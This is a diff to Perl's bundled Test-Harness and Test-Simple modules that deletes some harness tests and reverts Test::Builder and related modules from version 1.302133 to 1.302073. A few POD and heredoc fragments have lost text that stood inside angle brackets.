-            },
-            {   actual_passed => TRUE,
-                is_actual_ok  => TRUE,
-                passed        => TRUE,
-                is_ok         => TRUE,
-                is_test       => TRUE,
-                has_skip      => FALSE,
-                has_todo      => FALSE,
-                number        => 2,
-                description   => "",
-            },
-            {   actual_passed => TRUE,
-                is_actual_ok  => TRUE,
-                passed        => TRUE,
-                is_ok         => TRUE,
-                is_test       => TRUE,
-                has_skip      => FALSE,
-                has_todo      => FALSE,
-                number        => 3,
-                description   => "",
-            },
-            {   actual_passed => TRUE,
-                is_actual_ok  => TRUE,
-                passed        => TRUE,
-                is_ok         => TRUE,
-                is_test       => TRUE,
-                has_skip      => FALSE,
-                has_todo      => FALSE,
-                number        => 4,
-                description   => "",
-            },
-            {   actual_passed => TRUE,
-                is_actual_ok  => TRUE,
-                passed        => TRUE,
-                is_ok         => TRUE,
-                is_test       => TRUE,
-                has_skip      => FALSE,
-                has_todo      => FALSE,
-                number        => 5,
-                description   => "",
-            },
-        ],
-        plan          => '1..5',
-        passed        => [ 1 .. 5 ],
-        actual_passed => [ 1 .. 5 ],
-        failed        => [],
-        actual_failed => [],
-        todo          => [],
-        todo_passed   => [],
-        skipped       => [],
-        good_plan     => TRUE,
-        is_good_plan  => TRUE,
-        tests_planned => 5,
-        tests_run     => 5,
-        parse_errors  => [],
-        'exit'        => 0,
-        wait          => 0,
-        version       => 13,
-    },
     simple_yaml => {
         results => [
             {   is_version => TRUE,
diff --git a/cpan/Test-Harness/t/rulesfile.t b/cpan/Test-Harness/t/rulesfile.t
deleted file mode 100644
index 9d5af0b5ed9d..000000000000
--- a/cpan/Test-Harness/t/rulesfile.t
+++ /dev/null
@@ -1,97 +0,0 @@
-#!/usr/bin/perl -w
-
-BEGIN {
-    unshift @INC, 't/lib';
-}
-
-use strict;
-use warnings;
-use TAP::Harness;
-use Test::More;
-use File::Path qw/mkpath rmtree/;
-use File::Spec::Functions qw/catdir catfile rel2abs/;
-
-for my $path (@INC) {
-       $path = rel2abs($path);
-}
-
-if ( eval { require CPAN::Meta::YAML; 1 } ) {
-    plan tests => 4;
-}
-else {
-    plan skip_all => "requires CPAN::Meta::YAML";
-}
-
-# create temp directories long-hand
-# XXX should we add File::Temp as a prereq to do this?
-my $initial_dir = rel2abs(".");
-my $work_dir = catdir($initial_dir, "tmp" . int(rand(2**31)));
-my $t_dir = catdir($work_dir, 't');
-mkpath($t_dir) or die "Could not create $t_dir: $!";
-chdir $work_dir;
-
-# clean up at the end, but only if we didn't skip
-END { if ($initial_dir) {chdir $initial_dir; rmtree($work_dir) } }
-
-# Create test rules in t
-{
-    open my $fh, ">", catfile($t_dir, "testrules.yml");
-    print {$fh} <<'HERE';
----
-par: t/p*.t
-HERE
-    close $fh;
-}
-
-my $th = TAP::Harness->new;
-my $exp = {
-    par => 't/p*.t'
-};
-is_deeply( $th->rules, $exp, "rules set from t/testrules.yml" );
-
-# Create test rules in dist root
-{
-    open my $fh, ">", catfile($work_dir, "testrules.yml");
-    print {$fh} <<'HERE';
----
-seq:
-- seq: t/p*.t
-- par: '**'
-HERE
-    close $fh;
-}
-
-$th = TAP::Harness->new;
-$exp = {
-    seq => [
-        { seq => 't/p*.t' },
-        { par => '**' },
-    ],
-};
-is_deeply( $th->rules, $exp, "root testrules.yml overrides t/testrules.yml" );
-
-# Create alternately named file
-my $altrules = catfile($work_dir, "myrules.yml");
-{
-    open my $fh, ">", $altrules;
-    print {$fh} <<'HERE';
----
-seq: **
-HERE
-    close $fh;
-}
-
-{
-    local $ENV{HARNESS_RULESFILE} = $altrules;
-    $th = TAP::Harness->new;
-    $exp = {
-        seq => '**'
-    };
-    is_deeply( $th->rules, $exp, "HARNESS_RULESFILE overrides testrules.yml" );
-}
-
-$th = TAP::Harness->new( { rulesfile => $altrules} );
-$exp = {
-    seq => '**'
-};
-is_deeply( $th->rules, $exp, "rulesfile param overrides testrules.yml" );
diff --git a/cpan/Test-Harness/t/sample-tests/space_after_plan_v13 b/cpan/Test-Harness/t/sample-tests/space_after_plan_v13
deleted file mode 100644
index 18bee2ca606b..000000000000
--- a/cpan/Test-Harness/t/sample-tests/space_after_plan_v13
+++ /dev/null
@@ -1,4 +0,0 @@
-# gforth TAP generates a space after the plan. Should probably be allowed.
-print "TAP version 13\n";
-print "1..5 \n";
-print "ok $_ \n" for 1..5;
diff --git a/cpan/Test-Harness/t/source_tests/test.tap b/cpan/Test-Harness/t/source_tests/test.tap
deleted file mode 100644
index 03fd894ad6dd..000000000000
--- a/cpan/Test-Harness/t/source_tests/test.tap
+++ /dev/null
@@ -1,8 +0,0 @@
-#!/usr/bin/perl
-
-# This looks equally like a TAP file and a Perl executable.
-
-print <<'END_TESTS';
-1..1
-ok 1 - source.pl
-END_TESTS
diff --git a/cpan/Test-Simple/lib/Test/Builder.pm b/cpan/Test-Simple/lib/Test/Builder.pm
index 46f93cc706f7..052e2793b913 100644
--- a/cpan/Test-Simple/lib/Test/Builder.pm
+++ b/cpan/Test-Simple/lib/Test/Builder.pm
@@ -4,7 +4,7 @@ use 5.006;
 use strict;
 use warnings;
 
-our $VERSION = '1.302133';
+our $VERSION = '1.302073';
 
 BEGIN {
     if( $] < 5.008 ) {
@@ -21,7 +21,7 @@ BEGIN {
     warn "Test::Builder was loaded after Test2 initialization, this is not recommended."
         if Test2::API::test2_init_done() || Test2::API::test2_load_done();
 
-    if (USE_THREADS && ! Test2::API::test2_ipc_disabled()) {
+    if (USE_THREADS) {
         require Test2::IPC;
         require Test2::IPC::Driver::Files;
         Test2::IPC::Driver::Files->import;
@@ -42,7 +42,6 @@ our $Test = $ENV{TB_NO_EARLY_INIT} ? undef : Test::Builder->new;
 
 sub _add_ts_hooks {
     my $self = shift;
-
     my $hub = $self->{Stack}->top;
 
     # Take a reference to the hash key, we do this to avoid closing over $self
@@ -69,16 +68,9 @@ sub _add_ts_hooks {
         # Turn a diag into a todo diag
         return Test::Builder::TodoDiag->new(%$e) if ref($e) eq 'Test2::Event::Diag';
 
-        if ($active_hub == $hub) {
-            $e->set_todo($todo) if $e->can('set_todo');
-            $e->add_amnesty({tag => 'TODO', details => $todo});
-        }
-        else {
-            $e->add_amnesty({tag => 'TODO', details => $todo, inherited => 1});
-        }
-
         # Set todo on ok's
         if ($e->isa('Test2::Event::Ok')) {
+            $e->set_todo($todo);
             $e->set_effective_pass(1);
 
             if (my $result = $e->get_meta(__PACKAGE__)) {
@@ -92,26 +84,12 @@ sub _add_ts_hooks {
     }, inherit => 1);
 }
 
-{
-    no warnings;
-    INIT {
-        use warnings;
-        Test2::API::test2_load() unless Test2::API::test2_in_preload();
-    }
-}
-
 sub new {
     my($class) = shift;
     unless($Test) {
+        my $ctx = context();
         $Test = $class->create(singleton => 1);
-
-        Test2::API::test2_add_callback_post_load(
-            sub {
-                $Test->{Original_Pid} = $$ if !$Test->{Original_Pid} || $Test->{Original_Pid} == 0;
-                $Test->reset(singleton => 1);
-                $Test->_add_ts_hooks;
-            }
-        );
+        $ctx->release;
 
         # Non-TB tools normally expect 0 added to the level. $Level is normally 1. So
         # we only want the level to change if $Level != 1.
@@ -120,7 +98,7 @@ sub new {
 
         Test2::API::test2_add_callback_exit(sub { $Test->_ending(@_) });
 
-        Test2::API::test2_ipc()->set_no_fatal(1) if Test2::API::test2_has_ipc();
+        Test2::API::test2_ipc()->set_no_fatal(1) if USE_THREADS;
     }
     return $Test;
 }
@@ -139,10 +117,9 @@ sub create {
             formatter => Test::Builder::Formatter->new,
             ipc       => Test2::API::test2_ipc(),
         );
-
-        $self->reset(%params);
-        $self->_add_ts_hooks;
     }
+    $self->reset(%params);
+    $self->_add_ts_hooks;
 
     return $self;
 }
@@ -166,8 +143,7 @@ sub parent {
     my $chub = $self->{Hub} || $ctx->hub;
     $ctx->release;
 
-    my $meta = $chub->meta(__PACKAGE__, {});
-    my $parent = $meta->{parent};
+    my $parent = $chub->meta(__PACKAGE__, {})->{parent};
 
     return undef unless $parent;
 
@@ -211,7 +187,7 @@ sub child {
 
     $hub->listen(sub { push @$subevents => $_[1] });
 
-    $hub->set_nested( $parent->nested + 1 );
+    $hub->set_nested( $parent->isa('Test2::Hub::Subtest') ? $parent->nested + 1 : 1 );
 
     my $meta = $hub->meta(__PACKAGE__, {});
     $meta->{Name} = $name;
@@ -221,13 +197,12 @@ sub child {
     $meta->{Test_Results} = [];
     $meta->{subevents} = $subevents;
     $meta->{subtest_id} = $hub->id;
-    $meta->{subtest_uuid} = $hub->uuid;
     $meta->{subtest_buffered} = $parent->format ? 0 : 1;
 
     $self->_add_ts_hooks;
 
     $ctx->release;
-    return bless { Original_Pid => $$, Stack => $self->{Stack}, Hub => $hub, no_log_results => $self->{no_log_results} }, blessed($self);
+    return bless { Original_Pid => $$, Stack => $self->{Stack}, Hub => $hub }, blessed($self);
 }
 
 sub finalize {
@@ -254,7 +229,7 @@ sub finalize {
     my $trace = $ctx->trace;
     delete $ctx->hub->meta(__PACKAGE__, {})->{child};
 
-    $chub->finalize($trace->snapshot(hid => $chub->hid, nested => $chub->nested), 1)
+    $chub->finalize($trace, 1)
         if $ok
         && $chub->count
         && !$chub->no_ending
@@ -302,7 +277,6 @@ FAIL
         else {
             $parent->{subevents}  = $meta->{subevents};
             $parent->{subtest_id} = $meta->{subtest_id};
-            $parent->{subtest_uuid} = $meta->{subtest_uuid};
             $parent->{subtest_buffered} = $meta->{subtest_buffered};
             $parent->ok( $chub->is_passing, $meta->{Name} );
         }
@@ -321,10 +295,6 @@ sub subtest {
 
     $name ||= "Child of " . $self->name;
 
-
-    $_->($name,$code,@args)
-        for Test2::API::test2_list_pre_subtest_callbacks();
-
     $ctx->note("Subtest: $name");
 
     my $child = $self->child($name);
@@ -349,7 +319,7 @@ sub subtest {
         }
     }
 
-    if ($start_pid != $$ && !$INC{'Test2/IPC.pm'}) {
+    if ($start_pid != $$ && !$INC{'Test/Sync/IPC.pm'}) {
         warn $ok ? "Forked inside subtest, but subtest never finished!\n" : $err;
         exit 255;
     }
@@ -402,21 +372,15 @@ sub reset {    ## no critic (Subroutines::ProhibitBuiltinHomonyms)
     # hash keys is just asking for pain.  Also, it was documented.
     $Level = 1;
 
-    $self->{no_log_results} = $ENV{TEST_NO_LOG_RESULTS} ? 1 : 0
-        unless $params{singleton};
-
-    $self->{Original_Pid} = Test2::API::test2_in_preload() ? -1 : $$;
+    $self->{Original_Pid} = $$;
 
     my $ctx = $self->ctx;
-    my $hub = $ctx->hub;
-    $ctx->release;
     unless ($params{singleton}) {
-        $hub->reset_state();
-        $hub->_tb_reset();
+        $ctx->hub->reset_state();
+        $ctx->hub->set_pid($$);
+        $ctx->hub->set_tid(get_tid);
     }
 
-    $ctx = $self->ctx;
-
     my $meta = $ctx->hub->meta(__PACKAGE__, {});
     %$meta = (
         Name         => $0,
@@ -424,10 +388,9 @@ sub reset {    ## no critic (Subroutines::ProhibitBuiltinHomonyms)
         Done_Testing => undef,
         Skip_All     => 0,
         Test_Results => [],
-        parent       => $meta->{parent},
     );
 
-    $self->{Exported_To} = undef unless $params{singleton};
+    $self->{Exported_To} = undef;
 
     $self->{Orig_Handles} ||= do {
         my $format = $ctx->hub->format;
@@ -439,8 +402,8 @@ sub reset {    ## no critic (Subroutines::ProhibitBuiltinHomonyms)
     };
 
     $self->use_numbers(1);
-    $self->no_header(0) unless $params{singleton};
-    $self->no_ending(0) unless $params{singleton};
+    $self->no_header(0);
+    $self->no_ending(0);
     $self->reset_outputs;
 
     $ctx->release;
@@ -666,23 +629,22 @@ sub ok {
         (name => defined($name) ? $name : ''),
     };
 
-    $hub->{_meta}->{+__PACKAGE__}->{Test_Results}[ $hub->{count} ] = $result unless $self->{no_log_results};
+    $hub->{_meta}->{+__PACKAGE__}->{Test_Results}[ $hub->{count} ] = $result;
 
     my $orig_name = $name;
 
     my @attrs;
     my $subevents  = delete $self->{subevents};
     my $subtest_id = delete $self->{subtest_id};
-    my $subtest_uuid = delete $self->{subtest_uuid};
     my $subtest_buffered = delete $self->{subtest_buffered};
     my $epkg = 'Test2::Event::Ok';
     if ($subevents) {
         $epkg = 'Test2::Event::Subtest';
-        push @attrs => (subevents => $subevents, subtest_id => $subtest_id, subtest_uuid => $subtest_uuid, buffered => $subtest_buffered);
+        push @attrs => (subevents => $subevents, subtest_id => $subtest_id, buffered => $subtest_buffered);
     }
 
     my $e = bless {
-        trace => bless( {%$trace}, 'Test2::EventFacet::Trace'),
+        trace => bless( {%$trace}, 'Test2::Util::Trace'),
         pass  => $test,
         name  => $name,
         _meta => {'Test::Builder' => $result},
@@ -705,9 +667,13 @@ sub _ok_debug {
 
     my $msg = $is_todo ? "Failed (TODO)" : "Failed";
 
+    my $dfh = $self->_diag_fh;
+    print $dfh "\n" if $ENV{HARNESS_ACTIVE} && $dfh;
+
     my (undef, $file, $line) = $trace->call;
     if (defined $orig_name) {
-        $self->diag(qq[  $msg test '$orig_name'\n  at $file line $line.\n]);
+        $self->diag(qq[  $msg test '$orig_name'\n]);
+        $self->diag(qq[  at $file line $line.\n]);
     }
     else {
         $self->diag(qq[  $msg test at $file line $line.\n]);
@@ -1038,7 +1004,7 @@ sub skip {
         name      => $name,
         type      => 'skip',
         reason    => $why,
-    } unless $self->{no_log_results};
+    };
 
     $name =~ s|#|\\#|g;    # # in a name can confuse Test::Harness.
     $name =~ s{\n}{\n# }sg;
@@ -1063,7 +1029,7 @@ sub todo_skip {
         name      => '',
         type      => 'todo_skip',
         reason    => $why,
-    } unless $self->{no_log_results};
+    };
 
     $why =~ s{\n}{\n# }sg;
     my $tctx = $ctx->snapshot;
@@ -1230,17 +1196,8 @@ sub diag {
     my $self = shift;
     return unless @_;
 
-    my $text = join '' => map {defined($_) ? $_ : 'undef'} @_;
-
-    if (Test2::API::test2_in_preload()) {
-        chomp($text);
-        $text =~ s/^/# /msg;
-        print STDERR $text, "\n";
-        return 0;
-    }
-
     my $ctx = $self->ctx;
-    $ctx->diag($text);
+    $ctx->diag(join '' => map {defined($_) ? $_ : 'undef'} @_);
     $ctx->release;
     return 0;
 }
@@ -1250,17 +1207,8 @@ sub note {
     my $self = shift;
     return unless @_;
 
-    my $text = join '' => map {defined($_) ? $_ : 'undef'} @_;
-
-    if (Test2::API::test2_in_preload()) {
-        chomp($text);
-        $text =~ s/^/# /msg;
-        print STDOUT $text, "\n";
-        return 0;
-    }
-
     my $ctx = $self->ctx;
-    $ctx->note($text);
+    $ctx->note(join '' => map {defined($_) ? $_ : 'undef'} @_);
     $ctx->release;
     return 0;
 }
@@ -1403,26 +1351,24 @@ sub current_test {
     if( defined $num ) {
         $hub->set_count($num);
 
-        unless ($self->{no_log_results}) {
-            # If the test counter is being pushed forward fill in the details.
-            my $test_results = $ctx->hub->meta(__PACKAGE__, {})->{Test_Results};
-            if ($num > @$test_results) {
-                my $start = @$test_results ? @$test_results : 0;
-                for ($start .. $num - 1) {
-                    $test_results->[$_] = {
-                        'ok'      => 1,
-                        actual_ok => undef,
-                        reason    => 'incrementing test number',
-                        type      => 'unknown',
-                        name      => undef
-                    };
-                }
-            }
-            # If backward, wipe history.  Its their funeral.
-            elsif ($num < @$test_results) {
-                $#{$test_results} = $num - 1;
+        # If the test counter is being pushed forward fill in the details.
+        my $test_results = $ctx->hub->meta(__PACKAGE__, {})->{Test_Results};
+        if( $num > @$test_results ) {
+            my $start = @$test_results ? @$test_results : 0;
+            for( $start .. $num - 1 ) {
+                $test_results->[$_] = {
+                    'ok'      => 1,
+                    actual_ok => undef,
+                    reason    => 'incrementing test number',
+                    type      => 'unknown',
+                    name      => undef
+                };
             }
         }
+        # If backward, wipe history.  Its their funeral.
+        elsif( $num < @$test_results ) {
+            $#{$test_results} = $num - 1;
+        }
     }
     return release $ctx, $hub->count;
 }
@@ -1447,20 +1393,15 @@ sub is_passing {
 sub summary {
     my($self) = shift;
 
-    return if $self->{no_log_results};
-
     my $ctx = $self->ctx;
     my $data = $ctx->hub->meta(__PACKAGE__, {})->{Test_Results};
     $ctx->release;
-    return map { $_ ? $_->{'ok'} : () } @$data;
+    return map { $_->{'ok'} } @$data;
 }
 
 
 sub details {
     my $self = shift;
-
-    return if $self->{no_log_results};
-
     my $ctx = $self->ctx;
     my $data = $ctx->hub->meta(__PACKAGE__, {})->{Test_Results};
     $ctx->release;
@@ -1761,15 +1702,12 @@ sub coordinate_forks {
     }
     Test2::IPC->import;
     Test2::API::test2_ipc_enable_polling();
-    Test2::API::test2_load();
     my $ipc = Test2::IPC::apply_ipc($self->{Stack});
     $ipc->set_no_fatal(1);
     Test2::API::test2_no_wait(1);
     Test2::API::test2_ipc_enable_shm();
 }
 
-sub no_log_results { $_[0]->{no_log_results} = 1 }
-
 1;
 
 __END__
@@ -2144,7 +2082,7 @@ test failed.
 
 Defaults to 1.
 
-Setting C<$Test::Builder::Level> overrides.  This is typically useful
+Setting L<$Test::Builder::Level> overrides.  This is typically useful
 localized:
 
     sub my_ok {
@@ -2313,16 +2251,6 @@ point where the original test function was called (C<< $tb->caller >>).
 
 =over 4
 
-=item B
-
-This will turn off result long-term storage. Calling this method will make
-C
and C useless. You may want to use this if you are running -enough tests to fill up all available memory. - - Test::Builder->new->no_log_results(); - -There is no way to turn it back on. - =item B my $curr_test = $Test->current_test; @@ -2544,18 +2472,6 @@ bugs to support. Test::Builder is only thread-aware if threads.pm is loaded I Test::Builder. -You can directly disable thread support with one of the following: - - $ENV{T2_NO_IPC} = 1 - -or - - no Test2::IPC; - -or - - Test2::API::test2_ipc_disable() - =head1 MEMORY An informative hash, accessible via C, is stored for each diff --git a/cpan/Test-Simple/lib/Test/Builder/Formatter.pm b/cpan/Test-Simple/lib/Test/Builder/Formatter.pm index 82a8eead6756..96571c6005d9 100644 --- a/cpan/Test-Simple/lib/Test/Builder/Formatter.pm +++ b/cpan/Test-Simple/lib/Test/Builder/Formatter.pm @@ -2,7 +2,7 @@ package Test::Builder::Formatter; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Formatter::TAP; our @ISA = qw(Test2::Formatter::TAP) } @@ -16,41 +16,42 @@ BEGIN { *OUT_TODO = sub() { $todo }; } +__PACKAGE__->register_event('Test::Builder::TodoDiag', 'event_todo_diag'); + sub init { my $self = shift; $self->SUPER::init(@_); $self->{+HANDLES}->[OUT_TODO] = $self->{+HANDLES}->[OUT_STD]; } -sub plan_tap { - my ($self, $f) = @_; - - return if $self->{+NO_HEADER}; - return $self->SUPER::plan_tap($f); -} - -sub debug_tap { - my ($self, $f, $num) = @_; - return if $self->{+NO_DIAG}; - my @out = $self->SUPER::debug_tap($f, $num); - $self->redirect(\@out) if @out && $f->{about}->{package} eq 'Test::Builder::TodoDiag'; +sub event_todo_diag { + my $self = shift; + my @out = $self->event_diag(@_); + $out[0]->[0] = OUT_TODO(); return @out; } -sub info_tap { - my ($self, $f) = @_; +sub event_diag { + my $self = shift; return if $self->{+NO_DIAG}; - my @out = $self->SUPER::info_tap($f); - $self->redirect(\@out) if @out && $f->{about}->{package} eq 'Test::Builder::TodoDiag'; - return @out; + return $self->SUPER::event_diag(@_); } -sub redirect { - my ($self, $out) = @_; - $_->[0] = OUT_TODO for @$out; +sub event_plan { + my $self = shift; + return if $self->{+NO_HEADER}; + return $self->SUPER::event_plan(@_); } -sub no_subtest_space { 1 } +sub event_ok_multiline { + my $self = shift; + my ($out, $space, @extra) = @_; + + return( + [OUT_STD, "$out\n"], + map {[OUT_STD, "# $_\n"]} @extra, + ); +} 1; @@ -72,6 +73,22 @@ This is what takes events and turns them into TAP. use Test::Builder; # Loads Test::Builder::Formatter for you +=head1 METHODS + +=over 4 + +=item $f->event_todo_diag + +Additional method used to process L events. + +=item $f->event_diag + +=item $f->event_plan + +These override the parent class methods to do nothing if C is set. + +=back + =head1 SOURCE The source code repository for Test2 can be found at @@ -95,7 +112,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test/Builder/IO/Scalar.pm b/cpan/Test-Simple/lib/Test/Builder/IO/Scalar.pm index 8d3328088568..54700c42cbb3 100644 --- a/cpan/Test-Simple/lib/Test/Builder/IO/Scalar.pm +++ b/cpan/Test-Simple/lib/Test/Builder/IO/Scalar.pm @@ -38,7 +38,7 @@ use IO::Handle; use 5.005; ### The package version, both in 1.23 style *and* usable by MakeMaker: -$VERSION = "2.114"; +$VERSION = "2.113"; ### Inheritance: @ISA = qw(IO::Handle); @@ -562,7 +562,6 @@ sub CLOSE { shift->close(@_); } sub SEEK { shift->seek(@_); } sub TELL { shift->tell(@_); } sub EOF { shift->eof(@_); } -sub FILENO { -1 } #------------------------------------------------------------ diff --git a/cpan/Test-Simple/lib/Test/Builder/Module.pm b/cpan/Test-Simple/lib/Test/Builder/Module.pm index be66239db5d2..6fbba79fc0f0 100644 --- a/cpan/Test-Simple/lib/Test/Builder/Module.pm +++ b/cpan/Test-Simple/lib/Test/Builder/Module.pm @@ -7,7 +7,7 @@ use Test::Builder; require Exporter; our @ISA = qw(Exporter); -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; =head1 NAME @@ -75,8 +75,6 @@ C. sub import { my($class) = shift; - Test2::API::test2_load() unless Test2::API::test2_in_preload(); - # Don't run all this when loading ourself. return 1 if $class eq 'Test::Builder::Module'; diff --git a/cpan/Test-Simple/lib/Test/Builder/Tester.pm b/cpan/Test-Simple/lib/Test/Builder/Tester.pm index 25ad7c5767db..647ea2d3710f 100644 --- a/cpan/Test-Simple/lib/Test/Builder/Tester.pm +++ b/cpan/Test-Simple/lib/Test/Builder/Tester.pm @@ -1,7 +1,7 @@ package Test::Builder::Tester; use strict; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Test::Builder; use Symbol; @@ -117,7 +117,7 @@ sub _start_testing { $original_harness_env = $ENV{HARNESS_ACTIVE} || 0; $ENV{HARNESS_ACTIVE} = 0; - my $hub = $t->{Hub} || ($t->{Stack} ? $t->{Stack}->top : Test2::API::test2_stack->top); + my $hub = $t->{Hub} || Test2::API::test2_stack->top; $original_formatter = $hub->format; unless ($original_formatter && $original_formatter->isa('Test::Builder::Formatter')) { my $fmt = Test::Builder::Formatter->new; diff --git a/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm b/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm index 5cb0e3465f83..939e7f1cd369 100644 --- a/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm +++ b/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm @@ -1,7 +1,7 @@ package Test::Builder::Tester::Color; use strict; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; require Test::Builder::Tester; diff --git a/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm b/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm index b972a49f3ef1..74ae0787b664 100644 --- a/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm +++ b/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm @@ -2,19 +2,12 @@ package Test::Builder::TodoDiag; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::Event::Diag; our @ISA = qw(Test2::Event::Diag) } sub diagnostics { 0 } -sub facet_data { - my $self = shift; - my $out = $self->SUPER::facet_data(); - $out->{info}->[0]->{debug} = 0; - return $out; -} - 1; __END__ @@ -58,7 +51,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test/More.pm b/cpan/Test-Simple/lib/Test/More.pm index 9184c6281da2..2863c1bba5b6 100644 --- a/cpan/Test-Simple/lib/Test/More.pm +++ b/cpan/Test-Simple/lib/Test/More.pm @@ -17,7 +17,7 @@ sub _carp { return warn @_, " at $file line $line\n"; } -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Test::Builder::Module; our @ISA = qw(Test::Builder::Module); diff --git a/cpan/Test-Simple/lib/Test/Simple.pm b/cpan/Test-Simple/lib/Test/Simple.pm index 562202111265..f148fe62c93d 100644 --- a/cpan/Test-Simple/lib/Test/Simple.pm +++ b/cpan/Test-Simple/lib/Test/Simple.pm @@ -4,7 +4,7 @@ use 5.006; use strict; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Test::Builder::Module; our @ISA = qw(Test::Builder::Module); diff --git a/cpan/Test-Simple/lib/Test/Tester.pm b/cpan/Test-Simple/lib/Test/Tester.pm index 758a497634ff..a324a1bf4795 100644 --- a/cpan/Test-Simple/lib/Test/Tester.pm +++ b/cpan/Test-Simple/lib/Test/Tester.pm @@ -6,7 +6,7 @@ BEGIN { if (*Test::Builder::new{CODE}) { - warn "You should load Test::Tester before Test::Builder (or anything that loads Test::Builder)" + warn "You should load Test::Tester before Test::Builder (or anything that loads Test::Builder)" } } @@ -18,7 +18,7 @@ require Exporter; use vars qw( @ISA @EXPORT ); -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; @EXPORT = qw( run_tests check_tests check_test cmp_results show_space ); @ISA = qw( Exporter ); @@ -173,54 +173,40 @@ sub cmp_result if (defined(my $exp = $expect->{diag})) { + # if there actually is some diag then put a \n on the end if it's not + # there already - my $got = ''; - if (ref $exp eq 'Regexp') { - - if (not $Test->like($result->{diag}, $exp, - "subtest '$sub_name' of '$name' compare diag")) - { - $got = $result->{diag}; - } - - } else { - - # if there actually is some diag then put a \n on the end if it's not - # there already - $exp .= "\n" if (length($exp) and $exp !~ /\n$/); - - if (not $Test->ok($result->{diag} eq $exp, - "subtest '$sub_name' of '$name' compare diag")) - { - $got = $result->{diag}; - } - } - - if ($got) { - my $glen = length($got); - my $elen = length($exp); - for ($got, $exp) - { - my @lines = split("\n", $_); - $_ = join("\n", map { - if ($want_space) - { - $_ = $colour.escape($_).$reset; - } - else - { - "'$colour$_$reset'" - } - } @lines); - } - - $Test->diag(<ok($result->{diag} eq $exp, + "subtest '$sub_name' of '$name' compare diag") + ) + { + my $got = $result->{diag}; + my $glen = length($got); + my $elen = length($exp); + for ($got, $exp) + { + my @lines = split("\n", $_); + $_ = join("\n", map { + if ($want_space) + { + $_ = $colour.escape($_).$reset; + } + else + { + "'$colour$_$reset'" + } + } @lines); + } + + $Test->diag(< 6; - - use Test::MyStyle; - - check_test( - sub { - is_mystyle_qr("this", "that", "not matching"); - }, - { - ok => 0, # expect this to fail - name => "not matching", - diag => qr/Expected: 'this'\s+Got: 'that'/, - } - ); - or use Test::Tester; @@ -409,16 +378,6 @@ you can get direct access to the test results: like($result[0]->{diag}, "/^Database ping took \\d+ seconds$"/, "diag"); -or - - check_test( - sub { is_mystyle_qr("this", "that", "not matching") }, - { - ok => 0, # we expect the test to fail - name => "not matching", - diag => qr/Expected: 'this'\s+Got: 'that'/, - } - ); We cannot predict how long the database ping will take so we use Test::More's like() test to check that the diagnostic string is of the right diff --git a/cpan/Test-Simple/lib/Test/Tester/Capture.pm b/cpan/Test-Simple/lib/Test/Tester/Capture.pm index d3e342569ec4..d8eb170b6c5b 100644 --- a/cpan/Test-Simple/lib/Test/Tester/Capture.pm +++ b/cpan/Test-Simple/lib/Test/Tester/Capture.pm @@ -2,7 +2,7 @@ use strict; package Test::Tester::Capture; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Test::Builder; diff --git a/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm b/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm index 57f73575e92f..bed18e8c4836 100644 --- a/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm +++ b/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm @@ -3,7 +3,7 @@ use strict; package Test::Tester::CaptureRunner; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Test::Tester::Capture; diff --git a/cpan/Test-Simple/lib/Test/Tester/Delegate.pm b/cpan/Test-Simple/lib/Test/Tester/Delegate.pm index a1ea620cc4d0..ed627db442ae 100644 --- a/cpan/Test-Simple/lib/Test/Tester/Delegate.pm +++ b/cpan/Test-Simple/lib/Test/Tester/Delegate.pm @@ -3,7 +3,7 @@ use warnings; package Test::Tester::Delegate; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Scalar::Util(); diff --git a/cpan/Test-Simple/lib/Test/Tutorial.pod b/cpan/Test-Simple/lib/Test/Tutorial.pod index eb38018b8b7e..a71a9c1b3f24 100644 --- a/cpan/Test-Simple/lib/Test/Tutorial.pod +++ b/cpan/Test-Simple/lib/Test/Tutorial.pod @@ -297,7 +297,7 @@ Now we can test bunches of dates by just adding them to C<%ICal_Dates>. Now that it's less work to test with more dates, you'll be inclined to just throw more in as you think of them. Only problem is, every time we add to that we have to keep adjusting -the C<< use Test::More tests => ## >> line. That can rapidly get +the L<< use Test::More tests => ## >> line. That can rapidly get annoying. There are ways to make this work better. First, we can calculate the plan dynamically using the C @@ -358,7 +358,7 @@ for you or for the next person who runs your test. =head2 Skipping tests -Poking around in the existing L tests, I found this in +Poking around in the existing Date::ICal tests, I found this in F [7] #!/usr/bin/perl -w diff --git a/cpan/Test-Simple/lib/Test/use/ok.pm b/cpan/Test-Simple/lib/Test/use/ok.pm index 1405824372bc..fdc7326b3ded 100644 --- a/cpan/Test-Simple/lib/Test/use/ok.pm +++ b/cpan/Test-Simple/lib/Test/use/ok.pm @@ -1,7 +1,7 @@ package Test::use::ok; use 5.005; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; __END__ diff --git a/cpan/Test-Simple/lib/Test2.pm 